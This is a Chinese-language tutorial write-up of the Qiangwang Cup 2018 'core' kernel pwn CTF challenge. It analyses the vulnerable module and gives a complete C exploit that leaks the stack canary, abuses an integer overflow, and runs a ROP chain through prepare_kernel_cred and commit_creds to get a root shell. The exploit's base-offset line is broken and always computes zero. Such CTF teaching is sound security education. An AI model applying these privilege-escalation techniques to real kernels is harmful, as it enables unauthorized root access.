0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線(xiàn)課程
  • 觀看技術(shù)視頻
  • 寫(xiě)文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

十分基礎(chǔ)的一道內(nèi)核pwn入門(mén)題

麥辣雞腿堡 ? 來(lái)源:看雪社區(qū) ? 作者:mb_khygdqmu ? 2023-02-01 18:01 ? 次閱讀

例題:強(qiáng)網(wǎng)杯2018 - core

1.反編譯代碼分析

文件里面包含了這幾個(gè)文件

bzImage,core.cpio,start.sh,vmlinux

先看看start.sh

  • qemu-system-x86_64
    -m 128M
    -kernel ./bzImage
    -initrd ./core.cpio
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"
    -s
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0
    -nographic \\

可以看到咱們這兒題目采用了kaslr ,有地址隨機(jī),所以咱們需要泄露地址,大致思路和用戶(hù)態(tài)一致。這里還注意那就是從ctfwiki上面下載下來(lái)的題目是-m 64M,這里會(huì)出現(xiàn)運(yùn)行不了虛擬機(jī)的情況,所以咱們改為128M即可,這是內(nèi)存大小的定義,太小了跑不動(dòng)。

之后咱們?cè)倏纯次募到y(tǒng)解壓后得到的init腳本:

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mv exp.c /
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
#setsid /bin/cttyhack setuidgid 0 /bin/sh

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\\n'
umount /proc
umount /sys

poweroff -d 0  -f

從中我們可以看到文件系統(tǒng)中insmod了一個(gè)core.ko,一般來(lái)講這就是漏洞函數(shù)了,還有咱們可以添加setsid /bin/cttyhack setuidgid 0 /bin/sh這一句來(lái)使得我們進(jìn)入虛擬機(jī)的時(shí)候就是root權(quán)限,大伙不必驚慌,這里是因?yàn)樵蹅兪窃俦镜匦枰M(jìn)行調(diào)試,所以init腳本任我們改,start腳本也是,咱們可以直接把kalsr關(guān)了也行,但關(guān)了并不代表咱們不管,咱們這一舉動(dòng)主要是為了方便調(diào)試的,最終打遠(yuǎn)程還是人家說(shuō)了算,咱們值有一個(gè)exp能提交。

接著分析init,這里還發(fā)現(xiàn)開(kāi)始時(shí)內(nèi)核符號(hào)表被復(fù)制了一份到/tmp/kalsyms中,利用這個(gè)我們可以獲得內(nèi)核中所有函數(shù)的地址,還有個(gè)惡心的地方那就是這里開(kāi)啟了定時(shí)關(guān)機(jī),咱們可以把這給先注釋掉poweroff -d 120 -f &進(jìn)入漏洞模塊的分析。

這里可以看到有canary和NX,所以咱們通過(guò)ROP的話(huà)需要進(jìn)行canary泄露。

接下來(lái)咱們分析相關(guān)函數(shù)init_moddule:

可以看到模塊加載的初期會(huì)創(chuàng)建一個(gè)名為core的進(jìn)程,在虛擬機(jī)中在/proc目錄下。

再看看比較重要的ioctl函數(shù):

可以看出有三個(gè)模式選擇,分別點(diǎn)入相關(guān)函數(shù)看

" class="anchor" href="#

這里的read函數(shù)就是向用戶(hù)指定的地址從off偏移地址寫(xiě)入64個(gè)字節(jié)。而從ioctl中第二個(gè)case可以看到咱們居然可以設(shè)置off,所以我們可以通過(guò)設(shè)置偏移來(lái)寫(xiě)入canary的值,而我們從ida中可以看到咱們的canary是位于這里。

可以知道相差對(duì)于v5相差0x40,所以咱們?cè)O(shè)置的off也是0x40我們還可以來(lái)看看file_operations,(不秦楚的大伙可以看看我的上一篇環(huán)境搭建的文章),可以看到他只實(shí)現(xiàn)了write,ioctl,release的系統(tǒng)調(diào)用:

我們?cè)賮?lái)看看其他函數(shù),先看core_write:

這里可以知道他總共可以向name這個(gè)地址寫(xiě)入0x800個(gè)字節(jié),心動(dòng)

我們?cè)賮?lái)看看ioctl中第三個(gè)選項(xiàng)的core_copy_func

發(fā)現(xiàn)他可以從name上面拷貝數(shù)據(jù)到達(dá)棧上,然后這個(gè)判斷存在著整形溢出,這里如果咱傳個(gè)負(fù)數(shù)就可以達(dá)成效果了。

1. Kernel ROP

既然咱們可以在棧上做手腳,那么我們就可以利用ROP的方式了,首先找?guī)讉€(gè)gadget,這里的gadget是需要在vmlinux中尋找,我的推薦是用:

objdump -d ./vmlinux > ropgadget \\
cat ropgadget | grep "pop rdi; ret"

這樣的類(lèi)型進(jìn)行尋找[/md]

1.尋找gadget

如圖:對(duì)于上面所說(shuō)的比較關(guān)鍵的兩個(gè)函數(shù)commit_creds以及prepare_kernel_cred,我們?cè)趘mlinux中去尋找他所加載的的地址

然后我們可以看看ropgadget文件。

圖片

從中咱們可以看到其中即我們所需要的gadget(實(shí)際上就是linux內(nèi)核鏡像所使用的匯編代碼),此時(shí)我們?cè)偻ㄟ^(guò)linux自帶的grep進(jìn)行搜索,個(gè)人認(rèn)為還是比較好用的,用ropgadget或者是ropper來(lái)說(shuō)都可以,看各位師傅的喜好來(lái).

以此手法獲得兩個(gè)主要函數(shù)的地址后,此刻若咱們?cè)趀xp中獲得這兩個(gè)函數(shù)的實(shí)際地址,然后將兩者相減即可得到KASLR的偏移地址。

自此咱們繼續(xù)搜索別的gadget,我們此刻需要的gadget共有如下幾個(gè):

swapgs; popfq;  ret;
mov rdi, rax;  call rdx;
pop rdx; ret; 
pop rdi; ret;  
pop rcx; ret;
iretq

師傅們可以用上述方法自行尋找。

2. 自行構(gòu)造返回狀態(tài)

雖然咱們的提權(quán)是在內(nèi)核態(tài)當(dāng)中,但我們最終還是需要返回用戶(hù)態(tài)來(lái)得到一個(gè)root權(quán)限的shell,所以當(dāng)我們進(jìn)行棧溢出rop之后還需要利用swapgs等保存在內(nèi)核棧上的寄存器值返回到應(yīng)得的位置,但是如何保證返回的時(shí)候不出錯(cuò)呢?

那就只能在調(diào)用內(nèi)核態(tài)的時(shí)候?qū)⒓磳⒈4娴恼_的寄存器值先保存在咱們自己申請(qǐng)的值里面,這樣就方便咱們?cè)趓op鏈結(jié)尾填入他們實(shí)現(xiàn)返回不報(bào)錯(cuò)。既然涉及到了保存值,那我們就需要內(nèi)嵌匯編代碼來(lái)實(shí)現(xiàn)此功能,代碼如下,這也可以視為一個(gè)通用代碼:

size_t user_cs, user_ss,user_rflags,user_sp;

//int fd = 0;        // file pointer of process 'core'

void saveStatus(){
  __asm__("mov user_cs, cs;"
          "mov user_ss, ss;"
          "mov user_sp, rsp;"
          "pushf;"
          "pop user_rflags;"
          );
  puts("\\033[34m\\033[1m Status has been saved . \\033[0m");
}

大伙學(xué)到了內(nèi)核pwn,那匯編功底自然不必說(shuō),我就不解釋這段代碼功能了。

3. 攻擊思路

現(xiàn)在開(kāi)始咱們的攻擊思路思考,在上面介紹各個(gè)函數(shù)的時(shí)候我也稍微講了點(diǎn),我們所做的事主要如下:

  1. 利用ioctl中的選項(xiàng)2.修改off為0x40
  2. 利用core_read,也就是ioctl中的選項(xiàng)1,可將局部變量v5的off偏移地址打印,經(jīng)過(guò)調(diào)試可發(fā)現(xiàn)這里即為canary
  3. 當(dāng)咱們打印了canary,現(xiàn)在即可進(jìn)行棧溢出攻擊了,但是溢出哪個(gè)棧呢,我們發(fā)現(xiàn)ioctl的第三個(gè)選項(xiàng)中調(diào)用的函數(shù) core_copy_func,會(huì)將bss段上的name輸入在棧上,輸入的字節(jié)數(shù)取決于咱們傳入的數(shù)字,并且此時(shí)他又整型溢出漏洞,好,就決定冤大頭是他了
  4. core.ko 所實(shí)現(xiàn)的系統(tǒng)調(diào)用write可以發(fā)現(xiàn)其中可以將我們傳入的值寫(xiě)到bss段中的name上面,天助我也,所以咱們就可以在上面適當(dāng)?shù)臉?gòu)造rop鏈進(jìn)行棧溢出了

大伙看到這里是不是覺(jué)得有點(diǎn)奇怪,剛才不是說(shuō)要泄露地址碼,這兄弟是不是講錯(cuò)了,就這?大家不要慌,我這正要講解,從上面的init腳本中我們可以看到這一句:

cat /proc/kallsyms > /tmp/kallsyms

其中 /proc/kallsyms中包含了內(nèi)核中所有用到的符號(hào)表,而處于用戶(hù)態(tài)的我們是不能訪(fǎng)問(wèn)的,所以出題人貼心的將他輸出到了/tmp/kallsyms中,這就使得我們?cè)谟脩?hù)態(tài)也依然可以訪(fǎng)問(wèn)了,所以我們還得在exp中寫(xiě)一個(gè)文件遍歷的功能,當(dāng)然這對(duì)于學(xué)過(guò)系統(tǒng)編程的同學(xué)并不在話(huà)下。

這里貼出代碼給大伙先看看

void get_function_address(){
        FILE* sym_table = fopen("/tmp/kallsyms", "r");        // including all address of kernel functions,just like the user model running address.
        if(sym_table == NULL){
                printf("\\033[31m\\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\\n\\033[0m");
                exit(1);
        }
        size_t addr = 0;
        char type[0x10];
        char func_name[0x50];
        // when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end.
        while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){
                if(commit_creds && prepare_kernel_cred)                // two addresses of key functions are all found, return directly.
                        return;
                if(!strcmp(func_name, "commit_creds")){                // function "commit_creds" found
                        commit_creds = addr;
                        printf("\\033[32m\\033[1m[+] Note: Address of function \"commit_creds\" found: \\033[0m%#llx\\n", commit_creds);
                }else if(!strcmp(func_name, "prepare_kernel_cred")){
                        prepare_kernel_cred = addr;
                        printf("\\033[32m\\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \\033[0m%#llx\\n", prepare_kernel_cred);
                }
        }

}

當(dāng)知道exp思路之后,其他的一切就簡(jiǎn)單起來(lái),只需要看懂他然后實(shí)現(xiàn)即可。

4. gbb調(diào)試qemu中內(nèi)核基本方法

眾所周知,調(diào)試在pwn中是十分重要的,特別是動(dòng)調(diào),所以這里介紹下gdb調(diào)試內(nèi)核的方法。

由于咱們的內(nèi)核是跑在qemu中,所以我們gdb需要用到遠(yuǎn)程調(diào)試的方法,但是如果直接連端口的話(huà)會(huì)出現(xiàn)沒(méi)符號(hào)表不方便調(diào)試的,所以我們需要自行導(dǎo)入內(nèi)核模塊,也就是文件提供的vmlinux,之后由于咱們還需要core.ko的符號(hào)表,所以咱們也可以通過(guò)自行導(dǎo)入來(lái)獲得可以,通過(guò) add-symbol-file core.ko textaddr 加載,而這里的textaddr即為core.ko的.text段地址,我們可以通過(guò)修改init中為root權(quán)限進(jìn)行設(shè)置。

這里.text 段的地址可以通過(guò) /sys/modules/core/section/.text 來(lái)查看,

這里強(qiáng)烈建議大伙先關(guān)kaslr(通過(guò)在啟動(dòng)腳本修改,就是將kaslr改為nokaslr)再進(jìn)行調(diào)試。

我們可以通過(guò)-gdb tcp:port或者 -s來(lái)開(kāi)啟調(diào)試端口,start.sh 中已經(jīng)有了 -s,不必再自己設(shè)置。(對(duì)了如果-s ,他的功能等同于-gdb tcp:1234)

在我們獲得.text基地址后記得用腳本來(lái)開(kāi)gdb,不然每次都要輸入這么些個(gè)東西太麻煩了,腳本如下十分簡(jiǎn)單:

#!/bin/bash
gdb -q \\
  -ex "" \\
  -ex "file ./vmlinux" \\
  -ex "add-symbol-file ./extract/core.ko 0xffffffffc0000000" \\
  -ex "b core_copy_func" \\
  -ex "target remote localhost:1234" \\

其中打斷點(diǎn)可以先打在core_read,這里打在core_copy_func是我調(diào)到尾聲修改的。這里還注意一個(gè)點(diǎn),就是當(dāng)采用pwndbg的時(shí)侯需要root權(quán)限才可以進(jìn)行調(diào)試不然會(huì)出現(xiàn)以下錯(cuò)誤:

最開(kāi)始?xì)馑牢伊?,人家peda都不要root,但是最開(kāi)始不清楚為什么會(huì)錯(cuò),我還以為是版本問(wèn)題,但想到這是我最近剛配的一臺(tái)機(jī)子又應(yīng)該不是,其實(shí)最開(kāi)始看到permission就該想到的。

我們用root權(quán)限進(jìn)行開(kāi)調(diào):

可以看到十分的成功,此刻我continue,還記得咱們下的斷電碼,b core_read,如果咱們調(diào)用它后咱們就會(huì)在這里停下來(lái),此刻我們運(yùn)行咱們的程序試試。

這樣咱們就可以愉快的進(jìn)行調(diào)試?yán)?至此gdb調(diào)試內(nèi)核基本方法到此結(jié)束~~~

5. ROP鏈解析

這里簡(jiǎn)單講講,直接給圖:

圖片

相信大家理解起來(lái)不費(fèi)力。

6. exp

本次exp如下,大伙看看:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

size_t commit_creds = NULL, prepare_kernel_cred = NULL;        // address of to key function
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RDI_RET 0xffffffff81000b2f 
#define POP_RCX_RET 0xffffffff81021e53
#define IRETQ 0xffffffff81050ac2
size_t user_cs, user_ss,user_rflags,user_sp;

//int fd = 0;        // file pointer of process 'core'

/*void saveStatus();
void get_function_address();
#void core_read(int fd, char* buf);
void change_off(int fd, long long off);
void core_copy_func(int fd, long long nbytes);
void print_binary(char* buf, int length);
void shell();
*/
void saveStatus(){
  __asm__("mov user_cs, cs;"
          "mov user_ss, ss;"
          "mov user_sp, rsp;"
          "pushf;"
          "pop user_rflags;"
          );
  puts("\\033[34m\\033[1m Status has been saved . \\033[0m");
}

void core_read(int fd, char *addr){
  printf("try read\\n");
  ioctl(fd,0x6677889B,addr);
  printf("read done!");
}

void change_off(int fd, long long off){
  printf("try set off \\n");
  ioctl(fd,0x6677889C,off);
}

void core_copy_func(int fd, long long nbytes){
  puts("try cp\\n");
  ioctl(fd,0x6677889A,nbytes);
}

void get_function_address(){
        FILE* sym_table = fopen("/tmp/kallsyms", "r");        // including all address of kernel functions,just like the user model running address.
        if(sym_table == NULL){
                printf("\\033[31m\\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\\n\\033[0m");
                exit(1);
        }
        size_t addr = 0;
        char type[0x10];
        char func_name[0x50];
        // when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end.
        while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){
                if(commit_creds && prepare_kernel_cred)                // two addresses of key functions are all found, return directly.
                        return;
                if(!strcmp(func_name, "commit_creds")){                // function "commit_creds" found
                        commit_creds = addr;
                        printf("\\033[32m\\033[1m[+] Note: Address of function \"commit_creds\" found: \\033[0m%#llx\\n", commit_creds);
                }else if(!strcmp(func_name, "prepare_kernel_cred")){
                        prepare_kernel_cred = addr;
                        printf("\\033[32m\\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \\033[0m%#llx\\n", prepare_kernel_cred);
                }
        }
}


void shell(){
        if(getuid()){
                printf("\\033[31m\\033[1m[x] Error: Failed to get root, exiting......\\n\\033[0m");
                exit(1);
        }
        printf("\\033[32m\\033[1m[+] Getting the root......\\033[0m\\n");
        system("/bin/sh");
        exit(0);
}

int main(){
  saveStatus();
  int fd = open("/proc/core",2);              //get the process fd
  if(!fd){
                printf("\\033[31m\\033[1m[x] Error: Cannot open process \"core\"\\n\\033[0m");
                exit(1);
        }
  char buffer[0x100] = {0};
        get_function_address();                // get addresses of two key function
  ssize_t vmlinux = commit_creds - commit_creds;            //base address
  printf("vmlinux_base = %x",vmlinux);
  //get canary
  size_t canary;
  change_off(fd,0x40);
  //getchar();

  core_read(fd,buffer);
  canary = ((size_t *)buffer)[0];
  printf("canary ==> %p\\n",canary);
  //build the ROP
  size_t rop_chain[0x1000] ,i= 0;
  printf("construct the chain\\n");
  for(i=0; i< 10 ;i++){
    rop_chain[i] = canary;
  }
  rop_chain[i++] = POP_RDI_RET + vmlinux ;
  rop_chain[i++] = 0;
  rop_chain[i++] = prepare_kernel_cred ;          //prepare_kernel_cred(0)
  rop_chain[i++] = POP_RDX_RET + vmlinux;
  rop_chain[i++] = POP_RCX_RET + vmlinux;
  rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + vmlinux;
  rop_chain[i++] = commit_creds ;
  rop_chain[i++] = SWAPGS_POPFQ_RET + vmlinux;
  rop_chain[i++] = 0;
  rop_chain[i++] = IRETQ + vmlinux;
  rop_chain[i++] = (size_t)shell;
  rop_chain[i++] = user_cs;
  rop_chain[i++] = user_rflags;
  rop_chain[i++] = user_sp;
  rop_chain[i++] = user_ss;
  write(fd,rop_chain,0x800);
  core_copy_func(fd,0xffffffffffff0100);
}

7. 編譯運(yùn)行

這里有個(gè)小知識(shí),那就是在被攻擊的內(nèi)核中一般不會(huì)給你庫(kù)函數(shù),所以咱們需要用gcc中的-static參數(shù)進(jìn)行靜態(tài)鏈接,然后就是為了支持內(nèi)嵌匯編代碼,所以我們需要使用-masm=intel,這里intel也可以換amd,看各位匯編語(yǔ)言用的啥來(lái)進(jìn)行修改,我這里用的把保存狀態(tài)代碼是intel支持的。

gcc test.c -o test -static -masm=intel -g

將此編譯得到的二進(jìn)制文件打包近文件系統(tǒng)然后重新啟動(dòng),情況如圖:

成功提權(quán)!

聲明:本文內(nèi)容及配圖由入駐作者撰寫(xiě)或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • 內(nèi)核
    +關(guān)注

    關(guān)注

    3

    文章

    1379

    瀏覽量

    40348
  • PWN
    PWN
    +關(guān)注

    關(guān)注

    0

    文章

    11

    瀏覽量

    16699
收藏 人收藏

    評(píng)論

    相關(guān)推薦

    ModelSim SE 十分入門(mén)

    ModelSim SE 十分入門(mén)[table=98%][tr][td][table=98%][tr][td]1.ModuleSim SE 快速入門(mén)本文以ModelSim SE 5.6版本為
    發(fā)表于 08-12 15:07

    ModelSim SE 十分入門(mén)

    ModelSim SE 十分入門(mén)
    發(fā)表于 08-20 20:33

    十分

    誰(shuí)能幫我看看VHDL編的十分頻圖里19行以下不理解了。上升沿q就等于1啊?怎么變0
    發(fā)表于 08-31 09:46

    急求一道單片機(jī)程序,希望用匯編寫(xiě)的,C語(yǔ)言也可以

    急求一道單片機(jī)程序,希望用匯編寫(xiě)的,C語(yǔ)言也可以,麻煩各位大神,不甚感激!一道,兩個(gè)按鍵,按鍵K1按下有三個(gè)動(dòng)作1, LED常亮再按 LED閃爍.每隔0.5s閃次,再按LED閃爍
    發(fā)表于 01-02 23:22

    十分鐘學(xué)會(huì)ISE

    十分鐘學(xué)會(huì)ISE
    發(fā)表于 03-26 09:39

    一道模電,找人幫忙做下,看看誰(shuí)能夠破解!

    要考試了,老師出了一道設(shè)計(jì)題在課外完成,占了20,可是模電太難了,真的不會(huì),哪位好心的大俠高手路過(guò)的都看下哦,幫忙做下這道,
    發(fā)表于 06-26 13:23

    關(guān)于13年電賽控制

    會(huì)不會(huì)出兩控制啊,一道飛行器,另一道是其他的。。。
    發(fā)表于 08-28 19:55

    拋開(kāi)飛行器,另外一道控制類(lèi)的是什么,發(fā)揮你的想象

    不要再糾結(jié)飛行器了,忘了他吧,看看原件清單,猜猜另外一道控制類(lèi)的是什么?頭腦風(fēng)暴啦?。。:4_96:}
    發(fā)表于 09-01 10:06

    十分鐘學(xué)會(huì)ISE

    十分鐘學(xué)會(huì)ISE
    發(fā)表于 09-05 22:49

    單片機(jī)8031三:三、四、五。一道10元

    單片機(jī)8031三:三、四、五。一道10元,直接發(fā)我qq840921270 ,會(huì)給第個(gè)采用的人直接發(fā)支付寶,決不食言,食言剁屌!求助大
    發(fā)表于 04-16 17:02

    一道陣列天線(xiàn)方向圖的matlab仿真

    大家好,向大家求助一道matlab仿真的題目,由于我研究生是轉(zhuǎn)的專(zhuān)業(yè),天線(xiàn)方面的知識(shí)非常薄弱,但這道題目是課程考核,做出來(lái)才有這門(mén)課的學(xué)分,所以無(wú)奈來(lái)此向大家求助……如有違反論壇規(guī)定,請(qǐng)將此貼刪除
    發(fā)表于 05-04 23:24

    為什么我的電腦最近AD軟件十分卡頓?

    最近突然電腦的AD軟件變得十分卡頓,版本是16.0.5和9推測(cè)可能是以下問(wèn)題:1.ad9和ad16不兼容(之前直相安無(wú)事,而且最近是兩個(gè)軟件都變得十分卡頓)2.電腦配置(i7 6700 + 8g +核顯 ,之前也沒(méi)有絲毫問(wèn)題)
    發(fā)表于 09-02 04:07

    一道比較有難度的完美矩形

    今天講一道非常有意思,而且比較有難度的題目。 我們知道個(gè)矩形有四個(gè)頂點(diǎn),但是只要兩個(gè)頂點(diǎn)的坐標(biāo)就可以確定個(gè)矩形了(比如左下角和右上角兩個(gè)頂點(diǎn)坐標(biāo))。 來(lái)看看力扣第 391 「完美
    的頭像 發(fā)表于 01-04 14:17 ?2285次閱讀

    vm-pwn入門(mén)

    親愛(ài)的,關(guān)注我吧9/21文章共計(jì)2761個(gè)詞預(yù)計(jì)閱讀7鐘來(lái)和我起閱讀吧引言之前直沒(méi)去了解過(guò)vm-pwn,做些題目對(duì)vm-
    發(fā)表于 12-22 18:51 ?2次下載
    vm-<b class='flag-5'>pwn</b><b class='flag-5'>入門(mén)</b>

    Linux內(nèi)核pwn基礎(chǔ)知識(shí)

    Linux內(nèi)核pwn之基礎(chǔ)rop提權(quán) 1. linux kernel pwn kernel 也是個(gè)程序,用來(lái)管理軟件發(fā)出的數(shù)據(jù) I/O 要求,將這些要求轉(zhuǎn)義為指令,交給 CPU 和計(jì)
    的頭像 發(fā)表于 02-01 17:53 ?1811次閱讀
    Linux<b class='flag-5'>內(nèi)核</b><b class='flag-5'>pwn</b>基礎(chǔ)知識(shí)